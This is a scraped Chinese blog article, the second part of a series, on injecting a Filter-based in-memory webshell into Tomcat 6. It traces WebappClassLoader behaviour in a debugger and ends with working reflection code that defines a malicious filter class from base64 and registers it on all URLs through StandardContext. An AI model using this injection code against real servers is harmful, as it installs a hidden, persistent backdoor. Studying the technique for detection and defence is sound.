Java安全之Tomcat6 Filter內存馬( 二 )


Java安全之Tomcat6 Filter內存馬

文章插圖
看到this.findLoadedClass0(name)從resourceEntries也就是classes下各個包中的.class找 , 是否有這個類,有的話直接return 這個entry的loadClass屬性
Java安全之Tomcat6 Filter內存馬

文章插圖
這個屬性存儲的是該類的class對象,如果這里面有該類名,后面就直接resovleClass了
Java安全之Tomcat6 Filter內存馬

文章插圖
這里肯定是沒有我們的惡意filter,繼續往下跟
后面直接調用java.lang.ClassLoader#findLoadedClass來通過ClassLoader去找是否已經加載過該class了
而在這里是直接找到了
Java安全之Tomcat6 Filter內存馬

文章插圖
查閱開發資料并思考了一下:
這里因為我們之前是通過當前線程上下文加載器把惡意filter給loadClass了,所以這里就是可以找到的
后面隨手翻了下classloader的屬性,發現在classes屬性是存在該filter的class的
Java安全之Tomcat6 Filter內存馬

文章插圖
那么正好來debug一下當前線程上下文ClassLoader#loadClass的過程
可以看到當前上下文的ClassLoader就是WebappClassLoader,并且此時classes屬性里并沒有我們的惡意類
Java安全之Tomcat6 Filter內存馬

文章插圖
而當步過defineClass后 , 當前線程上下文ClassLoader也就是WebappClassLoaderclasses屬性中就新增了我們的惡意filter的class
所以后續在getFilter的邏輯中也是可以成功通過
Java安全之Tomcat6 Filter內存馬

文章插圖
回溯上面的邏輯時 , getFilter方法因為會走到這個else邏輯內,所以最終也是通過WebappClassLoader#loadClass的我們的惡意filter
Java安全之Tomcat6 Filter內存馬

文章插圖
以上 , 所以因為我們前面調用的是Thread.currentThread().getContextClassLoader()去加載的我們惡意filter類,而tomcat6中getFilter邏輯是通過this.context.getLoader().getClassLoader();去findClass,而這兩個ClassLoader又同為WebappClassLoader所以不會存在ClassNotfound的問題 。所以tomcat6中注入filter內存馬就不需要先實例化惡意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()defineClass一下惡意filter即可 。
注入內存馬的主要代碼如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);var1.setAccessible(true);byte[] var2 = base64decode("base64 str");var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);try {if (STANDARDCONTET != null) {// 1 反射獲取filterDefClass FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});Object filterDef = FilterDefconstructor.newInstance();// 2 設置filternameMethod setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);setFilterNameMethod.invoke(filterDef,filterName);// 3 setFilterClassMethod setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());// 4 addFilterDefMethod addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);addFilterDef.invoke(STANDARDCONTET,filterDef);// 構造FilterMapClass FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");Object filterMap =FilterMapClass.newInstance();Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);setDispatcherMethod.invoke(filterMap,"REQUEST");Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);addURLPatternMethod.invoke(filterMap,"/*");Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);addFilterMapMethod.invoke(STANDARDCONTET,filterMap);// 創建filterconfig 并添加到standardcontext.filterconfigs數組里Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));filterConfigCon.setAccessible(true);// 實例化ApplicationFilterConfig時觸發getFilter方法Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);filterConfigsMap.put(filterName, filterConfigObj);}} catch (Throwable var16) {var16.printStackTrace();}

推薦閱讀